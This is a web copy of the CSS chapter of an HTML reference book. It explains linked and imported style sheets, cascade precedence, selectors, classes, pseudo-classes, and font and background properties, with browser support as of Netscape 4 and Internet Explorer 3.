<h1>I am ba-loooooo, tooooo!<h1>

External Style Sheets

You may also place style definitions, like our document-level style sheet example for <h1> tags, in a text file with the MIME type of text/css and import this "external" style sheet into your HTML documents. Because an external style sheet is a file separate from the HTML document and is loaded by the browser over the network, you can store it anywhere, reuse it often, and even use others' style sheets. But most importantly, external style sheets give you the power to influence the display styles not only of all related tags in a single documents, but for an entire collection of documents.

For example, suppose we create a file named gen_styles.css containing the style rule:

H1 {color: blue; font-style: italic}

For each and every one of our HTML documents in our collections, we can tell the browser to read the contents of the gen_styles.css file, which in turn will color all the <h1> tag contents blue and render the text in italic. Of course, that will be true only if the user's machine is capable of these style tricks, they are using a style-conscious browser, and the style isn't overridden by a document-level or inline style definition.

You can load external style sheets into your HTML document in two different ways: linked or imported.

Linked external style sheets

One way to load an external style sheet is to use the <link> tag:

<head>
<title>Style linked</title>
<link rel=stylesheet type="text/css"
      href="http://www.kumquats.com/styles/gen_styles.css"
      title="The blues">
</head>
<body>
<h1>I'm so bluuuuoooo!</h1>
...
<h1> I am ba-loooooo, tooooo!<h1>

Recall that the <link> tag creates a relationship between the current document and some other document on the Web. In the example, we tell the browser that the document named in the href attribute is a stylesheet, and that its contents conform to the CSS standard, as indicated by the type attribute. We also provide a title for the style sheet, making it available for later reference by the browser. [the section called "The <link> Header Element"]

The <link> tag must appear in the <head> of a document. The URL of the style sheet may be absolute or relative to the document's base URL. The type may also be text/javascript, indicating (for Netscape only) that the style rules are written in JavaScript instead of the CSS syntax. [the section called "JavaScript Style Sheets"]

Imported external style sheets

The second technique for loading an external style sheet imports the files with a special command within the <style> tag:

<head>
<title>Imported style sheet</title>
<style>
  <!--
    @import url(http://www.kumquats.com/styles/gen_styles.css);
    @import url(http://www.kumquats.com/styles/spec_styles.css);
    BODY: {background: url(backgrounds/marble.gif)}
  -->
</style>
</head>

The @import command expects a single URL parameter that names the network path to the external style sheet. The url keyword, parentheses, and trailing semicolon are all required elements of the @import command. The URL may be absolute or relative to the document's base URL. The @import command must appear before any conventional style rules, either in the <style> tag or in an external style sheet. Otherwise, the browser ignores the preceding style definitions. This ordering also means that subsequent style rules can override rules in the imported sheet, and indeed they do. [the section called "URL property values"]

The @import command can appear in a document-level style definition or even in another external style sheet, letting you create nested style sheets.

Linked Versus Imported Style Sheets

At first glance, it may appear that linked and imported style sheets are equivalent, using different syntax for the same functionality. This is true if you use just one <link> tag in your document. However, special rules come into play if you include two or more <link> tags within a single document.

With one <link> tag, the browser loads the styles in the referenced style sheet and formats the document accordingly, with any document-level and inline styles overriding the external definitions. With two or more <link> tags, the browser presents the user with a list of all the <link>ed style sheets. The user can then select one of the sheets, which is used to format the document. The other <link>ed style sheets are ignored.

On the other hand, the style-conscious browser merges, as opposed to separating, multiple @imported style sheets to form a single set of style rules for your document. The last imported style sheet takes precedence if there are duplicate definitions among the style sheets.

Hence, if gen_styles.css in our example (9.1.3.2) tells the browser to make <h1> contents blue and italic, and then spec_styles.css tells the browser to make <h1> text red, then the <h1> tag contents will appear red and italic. And if we later define another color, say yellow, for <h1> tags in a document-level style definition, the <h1> tags will all be yellow, and italic. Cascading effects. See?

Imported styles override linked external styles, just as document-level and inline styles override external style definitions. To bring this all together, consider the example:

<html>
<head>
<link rel=stylesheet href=sheet1.css type=text/css>
<link rel=stylesheet href=sheet2.css type=text/css>
<style>
<!--
  @import url(sheet3.css);
  @import url(sheet4.css);
-->
</style>
</head>

Using the CSS model, the browser will prompt the user to choose between sheet1.css and sheet2.css. It will then load the selected sheet, followed by sheet3.css and sheet4.css. Duplicate styles defined in sheet3.css or sheet4.css and in any inline styles will override styles defined in the selected sheet.

Limitations of Current Browsers

Referencing a style sheet with the <link> tag currently is the only way to apply an external style sheet to a document. Netscape 4.0 ignores the @import command but continues to process other style rules within the <style> tag. Internet Explorer 3 treats @import as an error. This means that not only does an @imported external style sheet not take effect, but none of the styles following the @import command take effect, either. And, worse, Internet Explorer 3 ignores any and all document-level style rules if you <link> an external one, regardless of whether any of the external rules relate to the same tags or not.

Neither Netscape or Internet Explorer support multiple <link>ed style sheets as proposed by the CSS standard. Instead, Netscape loads all the <link>ed style sheets, with rules in later sheets possibly overriding rules in earlier sheets. Internet Explorer only loads the first <link>ed sheet and ignores the remaining sheets.

We hope the standard will someday prevail so that style sheets, already mystifying to most, will become that much less confusing.

Style Comments

Comments are welcome inside the <style> tag and in external style sheets, but don't use a standard HTML comment. Rather, enclose style comments beginning with the sequence /* and ending with */, as we did in the example above. (Those of you who are familiar with the C programming language will recognize these comment markings.) Use this comment syntax for both document-level and external style sheets. Comments may not be nested.

We recommend documenting your styles whenever possible, especially in external style sheets. Whenever the possibility exists that your styles may be used by other authors, comments make it much easier to understand your styles.

Handling Style-Less Browsers

In our document-level style examples above, you've probably noticed that we placed the style definition inside an HTML comment tag (<!-- and -->). That's because although the older, style-less browsers will ignore the <style> tag itself, they will display the style definitions. Needless to say, your documents will not go over well when the first half of the display contains all your style rules.

The newer, style-conscious browsers ignore HTML comments within a <style> tag. Since style-less browsers will be with us for some time to come, make sure you always place your document-level style rules inside HTML comments. HTML comments should not be used in external style sheets.

Style Precedence

You may import more than one external style sheet and combine them with document-level and inline style effects in many different ways. Their effects cascade (hence, the name, of course). You may specify the font type for our example <h1> tag, for instance, in an external style definition, whereas its color may come from a document-level style sheet.

Style sheet effects are not cumulative, however: of the many styles which may define different values for the same property--colors for the contents of our example tag, for instance--the one that takes precedence can be found by following these rules, in order:

  • Sort by origin. A style defined "closer" to a tag takes precedence over a more "distant" style. So an inline style takes precedence over a document-level style, which takes precedence over the effects of an external style.

  • If more than one applicable style exists, sort by class. Properties defined as a class of a tag (see the section called "Style Classes") take precedence over a property defined for the tag in general.

  • If multiple styles still exist, sort by specificity. The properties for a more specific contextual style (see the section called "Contextual Selectors") take precedence over properties defined for a less specific context.

  • If multiple styles still exist, sort by order. The property specified later takes precedence. Internet Explorer defies this rule, honoring only the first definition of a rule and ignoring any subsequent ones.

This bug in Internet Explorer will drive authors to distraction. In the following example, Netscape will set the color of the <h1> tag contents green, while Internet Explorer 3 will use red:

<head>
<style>
<!--
  H1 {color: blue; color: red}
  H1 {color: green}
-->
</style>

Our advice: write styles that conform to the CSS standard. Eventually, Internet Explorer will get fixed, and in the meantime, your documents will look good in Netscape, which is in use by more users anyway.

The relationship between style properties and conventional tag attributes is almost impossible to predict. Style sheet-dictated background and foreground colors--whether defined externally, at the document level, or inline--override the various color attributes that may appear within a tag. But the align attribute of an inline image usually takes precedence over a style-dictated alignment.

There is an overwhelming myriad of style and tag presentation-attribute combinations. You need a crystal ball to predict which combination wins and which loses the precedence battle. The rules of redundancy and style vs. attribute precedence are not clearly elucidated in the W3C CSS standard, nor is there a clear pattern of precedence implemented in the style-conscious browsers. This is particularly unfortunate since there will be an extended period, perhaps several years long, in which users may or may not use a styles-conscious browser. HTML authors will have to implement both styles and non-style presentation controls to achieve the same effects.

Nonetheless, our recommendation is to run--as fast as you can--away from one-shot, inline, localized kinds of presentation effects like those afforded by the <font> tag and color attribute. They have served their temporary purpose; it's now time to bring consistency (without the pain!) back into your document presentation. Use styles. It's the HTML way.

Previous | Home | Next
Appropriate List Usage | Book Index | Style Syntax
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 9] 9.2 Style Syntax

HTML: The Definitive Guide

Previous Chapter 9
Cascading Style Sheets 		Next

9.2 Style Syntax

The syntax of a style, as you may have gleaned from our previous examples, is fairly straightforward.

The Basics

A style rule is made up of at least three basic parts: a tag selector, which identifies the name of the tag that the style rule affects, followed by a curly brace ({}) enclosed, semicolon-separated list of one or more style property:value declaration pairs:

tag-selector {property1:value1; property2:value1 value2 value3; ...}

Properties require at least one value, but may include two or more values. Separate multiple values with a space, as is done for the three values that define property2 in the example. Some properties require that multiple values be separated with commas.

Style-conscious browsers ignore letter case in any element of a rule. Hence, H1 and h1 are the same selector, and COLOR, color, ColOR, and cOLor are equivalent properties. Convention dictates, however, that tag names be in all capitals, and that you write properties and values in lowercase. We'll abide by those conventions throughout this book.

Any valid HTML tag name (a tag minus its enclosing "<" and ">" characters and attributes) can be a selector. You may include more than one tag name in the list of selectors, as we explain in the following sections.

Multiple Selectors

When separated by commas, all the tags named in the selector list get affected by the property values in the style rule. This can make life very easy for the HTML author. For instance:

H1, H2, H3, H4, H5, H6 {text-align: center}

does exactly the same thing as:

H1 {text-align: center}
H2 {text-align: center}
H3 {text-align: center}
H4 {text-align: center}
H5 {text-align: center}
H6 {text-align: center}

Both styles tell the browser to center the contents of the header tag levels 1-6. Clearly, the first version is easier to type, understand, and modify. And it takes less time and fewer resources to transmit across a network, as well.

Contextual Selectors

Normally, the style-conscious browser applies styles to the tags wherever they appear in your document, without regard to context. However, the CSS standard does define a way to have a style applied only when a tag occurs within a certain context within a document, such as when it is nested within other tags.

To create a contextual selector, list the tags in the order in which they should be nested in your document, outermost tag first. When that nesting order is encountered by the browser, the style properties will be applied to the last tag in the list.

For example, here's how you might use contextual styles to define the classic numbering sequence used for outlines: capital letters for the outer level, upper-case Roman numerals for the next level, lowercase letters for the next, and Arabic numerals for the innermost level:

OL LI {list-style: upper-alpha}
OL OL LI {list-style: upper-roman}
OL OL OL LI {list-style: lower-alpha}
OL OL OL OL LI {list-style: decimal}

According to the example style sheet, when the style-conscious browser encounters the <li> tag nested within one <ol> tag, it uses the upper-alpha value for the list-style property of the <li> tag. When it sees an <li> tag nested within two <ol> tags, the same browser will use the upper-roman list-style. Nest an <li> tag within three and four <ol> tags, and you'll see the lower-alpha and decimal list-style used, respectively.

Similarly, you may impose a specific style on tags related only by context. For instance, this contextual style definition will color the emphasis tag's (<em>) contents red only when it appears inside a level-one header tag (<h1>), not elsewhere in the document:

H1 EM {color: red}

If there is a potential ambiguity between two contextual styles, the more specific context prevails. Like individual tags, you may also have several contextual selectors mixed with individual selectors, each and all separated by commas, sharing the same list of style declarations. For example,

H1 EM, P STRONG, ADDRESS {color: red}

means that you'll see red whenever the <em> tag appears within an <h1> tag, or when the <strong> tag appears within a <p> tag, and for the contents of the <address> tag.

The nesting need not be exact to match the rule. For example, if you nest the <strong> tag within a <ul> tag within a <p> tag, you'll still match the rule for P STRONG that we defined above. If a particular nesting matches several style rules, the most specific rule is used. For example, if you defined two contextual selectors:

P STRONG {color: red}
P UL STRONG {color: blue}

and use the sequence <p><ul><strong> in your document, the second, more specific rule applies, coloring the contents of the <strong> tag blue.

Contextual selectors are supported by Netscape 4.0, but not by Internet Explorer 3.0. In fact, Internet Explorer 3.0 considers contextual selectors an error and ignores any subsequent style definitions.

class attribute

Style Classes

There is one more feature of style sheets that we haven't mentioned yet: classes. Classes let you create, at the document level or in an external style sheet, several different styles for a single tag, each distinguished by a class name. To apply the style class, you name it as the value of the class attribute in the tag.

Regular classes

In a technical paper you might want to define one paragraph style for the abstract, another for equations, and a third for centered quotations. None of the paragraph tags may have an explicit context in the HTML document so you could distinguish it from the others. Rather, you may define each as a different style class:

<style>
<!--
P.abstract {font-style: italic;
            left-margin: 0.5cm;
            right-margin: 0.5cm}
P.equation {font-family: Symbol;
            text-align: center}
H1, P.centered {text-align: center;
                left-margin: 0.5cm;
                right-margin: 0.5cm}
-->
<style>

Notice first in the example that defining a class is simply a matter of appending a period-separated class name as a suffix to the tag name as the selector in a style rule. The class name can be any sequence of letters, numbers, and hyphens, but must begin with a letter.[1] And classes, like all selectors, may be included with other selectors, separated by commas, as in the third example. The only restriction on classes is that they cannot be nested: P.equation.centered is not allowed, for example.

[1] Due to its support of JavaScript style sheets, Netscape cannot handle class names that happen to match JavaScript keywords. The class "abstract," for instance, generates an error in Netscape.

Accordingly, the first rule in the example creates a class of paragraph styles named "abstract" whose text will be italic and indented from the left and right margins by a half-centimeter. Similarly, the second paragraph style class "equation," instructs the browser to center the text and to use the Symbol typeface to display the text. The last style rule creates a style with centered text and half-centimeter margins, applying this style to all level-one headers as well as creating a class of the <p> tag named centered with that style.

To use a particular class of a tag, you add the class attribute to the tag, as in this example:

<p class=abstract>
This is the abstract paragraph.  See how the margins are indented?
</p>
<h3>The equation paragraph follows</h3>
<p class=equation>
a = b + 1
</p>
<p class=centered>
This paragraph's text should be centered.
</p>

For each paragraph, the value of the class attribute is the name of the class to be used for that tag.

Generic classes

You may also define a class without associating it with a particular tag, and then apply that class selectively through your documents for a variety of tags. For example,

.italic {font-style: italic}

creates a generic class named italic. To use it, simply include its name with the class attribute. So, for instance, use <p class=italic> or <pre class=italic> to create an italic paragraph or preformatted text block.

Generic classes are quite handy and make it easy to apply a particular style to a broad range of tags. Generic classes are currently supported only by Netscape 4.0.

Style pseudo-classes

In addition to conventional style classes, the CSS standard defines pseudo-classes, although no browser yet uses them. They are the way you define the display style for certain tag states. Pseudo-classes are like regular classes, with two notable differences: they are attached to the tag name with a colon instead of a period, and they have predefined names, not arbitrary ones you may give them.

There are five pseudo-classes, three of which are associated with the <a> tag. The other two go with the <p> tag.

The browsers distinguish three special states for the hyperlinks created by the <a> tag: not visited, being visited, and visited. The browser may change the appearance of the tag's contents to indicate its state, such as underlining or changing the colors. Through pseudo-classes, the HTML author can control how these states get displayed by defining styles for A:link, A:active, and A:visited. The link pseudo-class controls the appearance of links that are not selected by the user and have not yet been visited. The active pseudo-class defines the appearance of links that are currently selected by the user and are being processed by the browser. The visited pseudo-class defines those links that have already been visited by the user.

To completely define all three states of the <a> tag, you might write

A:link {color: blue}
A:active {color: red; font-weight: bold}
A:visited {color: green}

Unvisited links will be shown in blue. When the user clicks a link, the browser will change its text color to red and make it bold. Once visited, the link will revert to conventional green text.

The two other pseudo-classes go with the <p> tag, and are named first-letter and first-line. As you might expect, these pseudo-classes control the appearance of the first letter and first line, respectively, of a paragraph and create effects commonly found in printed media, such as initial drop-caps and bold first lines. For example:

P:first-line {font-style: small-caps}

converts the first line of a paragraph to small capital letters. Similarly,

P:first-letter {font-size: 200%; float: left}

tells the browser to make the first letter of a paragraph twice as large as the remaining text and float the letter to the left, allowing the first two lines of the paragraph to float around the larger initial letter.[2]

[2] The properties that can be specified for the first-letter and first-line pseudo-classes are the font properties, color and background properties, text-decoration, vertical-align, text-transform, line-height, and clear. In addition, the first-letter pseudo-class accepts the margin properties, padding properties, border properties, and float. The first-line pseudo-class also accepts the word-spacing and letter-spacing properties.

Mixing classes

You may mix pseudo-classes with regular classes by appending the pseudo-class name to the selector's class name. For example, here are some rules that define plain, normal, and fancy anchors:

A.plain:link, A.plain:active, A.plain:visited {color: blue}
A:link {color: blue}
A:visited {color: green}
A:active {color: red}
A.fancy:link {text-style: italic}
A.fancy:visited {text-style: normal}
A.fancy:active {text-weight: bold; font-size: 150%}

The plain version of <a> is always blue, no matter the state of the link. Normal links start out blue, turn red when active, and convert to green when visited. The fancy link inherits the color scheme of the normal <a> tag, but adds italic text for unvisited links, converts back to normal text after being visited, and actually grows 50 percent in size and becomes bold when active.

A word of warning about that last property of the fancy class: specifying a font size change for a transient display property will result in lots of browser redisplay activity when the user clicks on the link. Given that some browsers run on slow machines, this redisplay may be annoying to your readers. Given also that implementing that sort of display change is something of a pain, it is unlikely that most browsers will support radical appearance changes in <a> tag pseudo-classes.

Class inheritance

Classes inherit the style properties of their generic base tag. For instance, all the properties of the plain <p> tag apply to a specially defined paragraph class, except where the class overrides a particular property.

Classes cannot inherit from other classes, only from the unclassed version of the tag they represent. In general, therefore, you should put as many common styles into the rule for the basic version of a tag, and only create classes for those properties which are unique to that class. This makes maintenance and sharing of your style classes easier, especially for large document collections.

Previous | Home | Next
The Elements of Styles | Book Index | Style Properties
HTML: The Definitive Guide CGI Programming JavaScript: The Definitive Guide Programming Perl WebMaster in a Nutshell


[Chapter 9] 9.3 Style Properties

HTML: The Definitive Guide

Previous Chapter 9
Cascading Style Sheets 		Next

9.3 Style Properties

At the heart of the Cascading Style Sheet specification are 53 properties that let you control how the style-conscious browser presents your documents to the user. The standard collects these properties into six groups: fonts, colors and backgrounds, text, boxes and layout, lists, and tag classification. We'll stick with that taxonomy, and preface the whole shebang with a discussion of property values and inheritance before diving into the properties themselves.

You'll find a summary of the style properties in Appendix C, Cascading Style Sheet Properties Quick Reference.

Property Values

There are five distinct kinds of property values: keywords, length values, percentage values, URLs, and colors.

Keyword property values

A property may have a keyword value that expresses action or dimension. For instance, the effects of underline and line-through are obvious property values. And you can express property dimensions with keywords like small and xx-large. Some keywords are even relational: bolder, for instance, is an acceptable value for the font-weight property. Keyword values are not case sensitive: Underline, UNDERLINE, and underline are all acceptable keyword values.

Length property values

So-called length values (a term taken from the CSS standard) explicitly state the size of a property. They are numbers, some with decimals, too. Length values may have a leading "+" or "-" sign to indicate the value is to be added to or subtracted from the immediate value of the property. Length values must be followed immediately by a two-letter unit abbreviation--with no intervening spaces.

There are three kinds of length-value units: relative, pixels, and absolute. Relative units specify a size that is relative to the size of some other property of the content. Currently, there are only two relative units: em, which is the height of the current font (written as em), and x-height, which is the height of the letter "x" in the current font (abbreviated ex). The pixels unit, abbreviated px, is equal to the size of a pixel on the browser's display. Absolute property value units are more familiar to us all. They include inches (abbreviated in), centimeters (cm), millimeters (mm), points (pt, 1/72 of an inch), and picas (pc, twelve points).

All of the following are valid length values, although not all units are recognized by the style-conscious browsers:

1in
1.5cm
+0.25mm
-3pt
-2.5pc
+100em
-2.75ex
250px

Percentage property values

Similar to the relative length-value type, a percentage value describes a proportion relative to some other aspect of the content. It has an optional sign and decimal portion to its numeric value, and must have the percent sign (%) suffix. For example,

line-height: 120%

computes the separation between lines to be 120 percent of the current line height (usually relative to the text font height). Note that this value is not dynamic, though: changes made to the font height after the rule has been processed by the browser will not affect the computed line height.

URL property values

Some properties also accept, if not expect, a URL as a value. The syntax for using a URL in a style property is different from conventional HTML:

url(service://server.com/pathname)

The keyword url is required, as are the opening and closing parentheses. Do not leave any spaces between url and the opening parenthesis. The url value may contain either an absolute or a relative URL. However, note that the URL is relative to the immediate style sheet's URL, the one in which it is declared. This means that if you use a url value in a document-level or inline style, the URL is relative to the HTML document containing the style document. Otherwise, the URL is relative to the @imported or <link>ed external style sheet's URL.

Color property values

Color values specify colors in a property (surprised?). You can specify a color as a color name or a hexadecimal RGB triple, as is done for common HTML attributes, or as a decimal RGB triple unique to style properties. Both color names and hexadecimal RGB triple notation are described in Appendix F, Color Names and Values; we describe decimal triples below.

Unlike regular HTML, style sheets will accept three-digit hexadecimal color values. The single digit is doubled to create a conventional six-digit triple. Thus, the color #78C is equivalent to #7788CC. In general, three-digit color values are handy only for simple colors.

The decimal RGB triple notation is a bit different:

rgb(red, green, blue)

The red, green, and blue intensity value are integers in the range zero to 255 or integer percentages. As with a URL value, do not leave any spaces between rgb and the opening parenthesis.

For example, in decimal RGB convention, the color white is rgb(255, 255, 255) or rgb(100%, 100%, 100%), and a medium yellow is rgb(127, 127, 0) or rgb(50%, 50%, 0%).

Currently, no browser supports the rgb notation for color values. You must use either a hexadecimal triple or a color name in your style sheets instead.

Property Inheritance

In lieu of a specific rule for a particular tag, properties and their values for tags within tags are inherited from the parent tag. Thus, setting a property for the <body> tag effectively applies that property to every tag in the body of your document, except for those that specifically override it. So, to make all the text in your document blue, you need only say:

BODY {color: blue}

rather than create a rule for every tag you use in your document.

This inheritance extends to any level. If you later created a <div> tag with text of a different color, the style-conscious browser will display all the text contents of the <div> tag and all its enclosed tags in that new color. When the <div> tag ends, the color reverts to the that of the containing <body> tag.

In many of the following property descriptions, we refer to the tag containing the current tag as the "parent element" of that tag.

Font Properties

The loudest complaint we hear about HTML is that the language lacks font styles and characteristics that even the simplest of text editors implement. The various <font> attributes supported by the extended browsers address part of the problem, but they are tedious to use since each text font change requires a different <font> tag.

Style sheets change all that, of course. The CSS standard provides six font properties that modify the appearance of text contained within the affected tag: font-family, font-height, font-size, font-style, font-variant, and font-weight. In addition, there is a universal font property that lets you declare all of the font changes with a single property.

Please, be aware that style sheets cannot overcome limitations of the client system nor can the browser conjure effects if the fonts it uses do not provide the means.

The font-family property

The font-family property accepts a comma-separated list of font names, one of which will be selected by the style-conscious browser for display of the tag's text. The browser uses the first font named in the list that also is installed and available for display on the client machine.

Font name values are for specific font styles, such as Helvetica or Courier, or a generic font style as defined by the CSS standard: serif, sans-serif, cursive, fantasy, and monospace. Each browser defines which actual font name is to be used for each generic font. For instance, Courier is the most popular choice for a monospace font.

Since fonts vary wildly among browsers, when specifying a font style, you should always provide several choices, ending with a suitable generic font. For example,

H1 {font-family: Helvetica, Univers, sans-serif}

causes the browser to look for and use Helvetica, and then Univers. If neither font is available for the client display, the browser will use the generic sans serif typeface.

For font names that contain spaces--New Century Schoolbook, for example--enclose them in quotation marks. For example:

P {font-family: Times, "New Century Schoolbook", Palatino, serif}

That extra set of double quotation marks in an inline style rule will cause problems. Accordingly, use single quotation marks in an inline style:

<p style="font-family: Times, 'New Century Schoolbook', Palatino, serif">

In practice, you need not use quotation marks: the browser will ignore spaces before and after the font name, and convert multiple internal spaces to a single space. Thus,

P {font-family: Times, New Century Schoolbook, Palatino, serif}
<p style="font-family: Times, New Century Schoolbook, Palatino, serif">

are both legal, but we recommend that you use quotation marks anyway, just in case things change.

The font-size property

The font-size property lets you prescribe absolute or relative length values, percentages, and keywords to define the font size. For example:

P {font-size: 12pt}
P {font-size: 120%}
P {font-size: +2pt}
P {font-size: medium}
P {font-size: larger}

The first rule is probably the most used because it is the most familiar: it sets the font size to a specific number of points (12 in this example). The second example rule sets the font size to be 20 percent larger than the parent element's font size. The third increases the font size by two points.

The fourth example selects a predefined size set by the browser, identified by the medium keyword. Valid absolute-size keywords are xx-small, x-small, small, medium, large, x-large, and xx-large, and usually correspond to the seven font sizes used with the size attribute of the <font> tag.

The last font-size rule selects the next size larger than the font associated with the parent element. Thus, if the size were normally medium, it would be changed to large. You can also specify smaller, with the expected results.

The relative and absolute size keywords are not currently supported by any browser.

The font-style property

Use the font-style property to slant text. The default style is normal, and may be changed to italic or oblique. For example,

H2 {font-style: italic}

makes all level-two header text italic. As of this writing, Netscape 4 and Internet Explorer 3 support only the italic value for font-style.

The font-variant property

The font-variant property lets you select a variant of the desired font. The default value for this property is normal, indicating the conventional version of the font. You may also specify small-caps to select a version of the font in which the lowercase letters have been replaced with small capital letters.

This property is not supported by any browser.

The font-weight property

The font-weight property controls the weight or boldness of the font. The default value of this property is normal. You may specify bold to obtain a bold version of a font, or use the relative bolder and lighter values to obtain a version of the font that is bolder or lighter than the parent element's font.

To specify varying levels of lightness or boldness, set the value to a multiple of 100, between the values 100 (lightest) and 900 (boldest). The value 400 is equal to the normal version of the font, and 700 is the same as specifying bold.

Internet Explorer 3 and Netscape 4 support the normal and bold values. Neither support the lighter and bolder values. Netscape supports the numeric boldness values; Internet Explorer does not.

font property

Internet Explorer 3 does support a series of "traditional" boldness names taken from old-style typography. These names are extra-light, light, demi-light, medium, demi-bold, bold, and extra-bold. These names were used in an early draft of the CSS standard and then dropped from the final recommended standard. We don't recommend using these names; expect Internet Explorer to drop support for them at some point. (Too bad, actually.)

The font property

More often than not you'll find yourself specifying more than one font-related property at a time for a tag's text content display. A complete font specification can get somewhat unwieldy; for example:

P {font-family: Times, Garamond, serif;
   font-weight: bold;
   font-size: 12pt;
   line-height: 14pt}

To mitigate this troublesome and potentially unreadable collection, use the comprehensive font property and group all of these attributes into one set of declarations:

P {font: bold 12pt/14pt Times, Garamond, serif}

The grouping and ordering of font attributes is important within the font property. The font style, weight, and variant attributes must be specified first, followed by the font size and the line height separated by a slash character, and ending with the list of font families. Of all the properties, the size and family are required; the others may be omitted. [the section called "The line-height property"]

Here are some more sample font properties:

EM {font: italic 14pt Times}
H1 {font: 900 24pt/48pt sans-serif}
CODE {font: 12pt Courier, monospace}

The first example tells the style-conscious browser to emphasize <em> text using a 14-point italic Times face. The second rule has <h1> text displayed in the boldest 24-point sans-serif font available, with an extra 24 points of space between the lines of text. Finally, text within a <code> tag is set in 12-point Courier, or the browser-defined monospace font.

We leave it to your imagination to conjure up examples of the abuses you could foster with the font styles. Perhaps a recent issue of Wired magazine, notorious for their avant-garde font and other print-related abuses, would be helpful in that regard?

Color and Background Properties

Every element in your document has a foreground and a background color that the browser uses to render the element. In some cases, the background is not a color, but an image. The color and background style properties control these colors and images.

The children of an HTML element normally inherit the foreground color of their parent. For instance, if you make <body> text red, the style-conscious browser also will display header and paragraph text in red.

Background properties behave differently, however--they are not inherited. Instead, each element has a default background that is transparent, allowing the parent's background to show through. Thus, setting the background image of the <body> tag does not cause that image to be reloaded for every element within the body tag. Instead, the browser loads the image once and displays it behind the rest of the document, serving as the background for all elements which do not themselves have an explicit background color or image.

The background-attachment property

If you specify a background image for an element, use the background-attachment property to control how that image is attached to the browser's display window. With the default value scroll, the browser moves the background image with the element as the user scrolls through the document. A value of fixed prevents the image from moving.

Internet Explorer 3 does not support this style property explicitly, but emulates it for the <body> tag with the bgproperties=fixed attribute. [the section called "The bgproperties attribute"]

The background-color property

The background-color property controls the (you guessed it!) background color of an element. Set it to a color value or to the keyword transparent. The default value is transparent. The effects should be obvious.

While you may have become accustomed to setting the background color of an entire document through the special attributes for the <body> tag, the background-color style property can be applied to any HTML element. For example, to set the background color of one item in a bulleted list, you could use:

<li style="background-color: blue">

Similarly, all the table header cells in a document could be given a reverse video effect with:

TH {background-color: black; color: white}

If you really want your emphasized text to stand out, paint its background red:

EM {background-color: red}

Internet Explorer 3 does not support this CSS property explicitly, but you may achieve the same effects through its support of the general background property, as discussed in 9.3.4.6.

The background-image property

The background-image property puts an image behind the contents of an HTML element. Its value is either a URL or the keyword none. The default value is none.

As with background colors, you can place a background image behind the entire document, or behind selected elements of a document. With this style property, effects like placing an image behind a table or selected text are now simple:

<table style="background-image: url(backgrounds/woodgrain.gif)">
LI.marble {background-image: url(backgrounds/marble.gif)}

The first example uses an inline style to place a woodgrain finish behind a table. The second defines a list item class that places a marble background behind <li> tag that use the class=marble attribute. For example:

<h2>Here's what's for dinner tonight:</h2>
<ul>
<li class=marble>Liver with Onions
<li class=marble>Mashed Potatoes and Gravy
<li class=marble>Green Beans
<li class=marble>Choice of Milk, Tea, or Coffee
</ul>
<h2>And for dessert:</h2>
<ul>
<li>Creamed Quats in Milk  (YUM! YUM!)
</ul>

will produce a result like that in Figure 9.1.

Figure 9.1: Placing a background image behind an element

[Graphic: Figure 9-1]

If the image is larger than the containing element, it will be clipped to the area occupied by the element. If smaller, the image will be repeated to tile the area occupied by the element, as dictated by the value of the background-repeat attribute.

You control the position of the image within the element with the background-position property. The scrolling behavior of the image is managed by the background-attachment property.

While it may seem that a background color and a background image are mutually exclusive, you should usually define a background color even if you are using a background image. That way, if the image is unavailable, such as when the user doesn't automatically download images, the browser will display the background color instead. In addition, if the background image has transparent areas, the background color will be used to fill in those areas.

Internet Explorer 3 does not support the background-image property explicitly, but you may achieve the same effects through its support of the general background property, as discussed in the section called "The background property".

The background-position property

By default, the style-conscious browser renders a background image starting in the upper-left corner of the allotted display area and tiled (if necessary) down and over to the lower-right corner of that same area. With the background-position property, you can offset the starting position of the background image down and to the right of that default point by an absolute (length) or relative (percentage or keyword) offset. The resulting image fills the area from that offset starting point to the lower-right corner of the display space.

You may specify one or two values for the background-position property. If you use a single value, it applies to both the vertical and horizontal positions. With two values, the first is the horizontal offset, and the second is the vertical offset.

Length values (with their appropriate units; see the section called "Length property values") indicate an absolute distance from the upper-left corner of the element behind which you display the background image. For instance,

TABLE {background-image: url(backgrounds/marble.gif);
       background-position: 10px 20px}

offsets the marble background 10 pixels to the right and 20 pixels down from the upper-left corner of any <table> element in your document.

Percentage values are a bit trickier, but somewhat easier to use. Measured from 0 to 100 percent from left to right and top to bottom, the center of the HTML element's content display space is at 50%, 50%. Similarly, the position one-third of the way across the area and two-thirds of the way down is at 33%, 66%. So, to offset the background for our example dinner menu to the center of the element's content display space, we use:

background-position: 50% 50%

You'll notice that the browser places the first marble.gif tile at the center of the content display area and tiles to the right and down the window, as shown in Figure 9.2.

Figure 9.2: Marbled background offset to the center of the display

[Graphic: Figure 9-2]

So, why use a number when a single word will do? You can use the keywords left, center, and right, as well as top, center, and bottom, for 0%, 50%, and 100%, respectively. To center an image in the tag's content area, then, you need only write:

background-position: center center

You can mix and match length and percentage values,[3] so that

[3] That is, if the browser supports the value units. So far, Internet Explorer and Netscape support only a meager repertoire of length units--pixels and percents.

background-position: 1cm center

places the image one centimeter to the right of the tag's left edge, centered vertically in the tag's area.

Internet Explorer 3 does not support this CSS property explicitly, but you may achieve similar effects with the general background property. See the section called "The background property".

The background-repeat property

Normally, the browser tiles a background image to fill the allotted space, repeating the image both down and to the right. Use the background-repeat property to alter this "repeat" (default value) behavior. To have the image repeat horizontally but not vertically, use the value repeat-x. For only vertical repetition, use repeat-y. To suppress tiling altogether, use no-repeat.

A common use of this property is to place a watermark or logo in the background of a page without repeating the image over and over. For instance:

BODY {background-image: url(backgrounds/watermark.gif);
      background-position: center middle;
      background-repeat: no-repeat
     }

will place the watermark image in the background at the center of the page.

Another popular trick is to create a vertical ribbon down the right-hand side of the page:

BODY {background-image: url(backgrounds/ribbon.gif);
      background-position: top right;
      background-repeat: repeat-y
     }

Internet Explorer 3 does not support this CSS property explicitly, but you may achieve similar effects with the general background property, described in the next section.

The background property

Like the various font properties, the many background CSS properties can get cumbersome to write and hard to read later. So, like the font property, there also is a general background property.

The background property accepts values from any and all of the background-color, background-image, background-attachment, background-repeat, and background-position roperties, in any order. If you do not specify values for some of the properties, that property is explicitly set to its default value. Thus,

background: red

sets the background-color property to red and resets the other background properties to their default values. A more complex example:

background: url(backgrounds/marble.gif) blue repeat-y fixed center

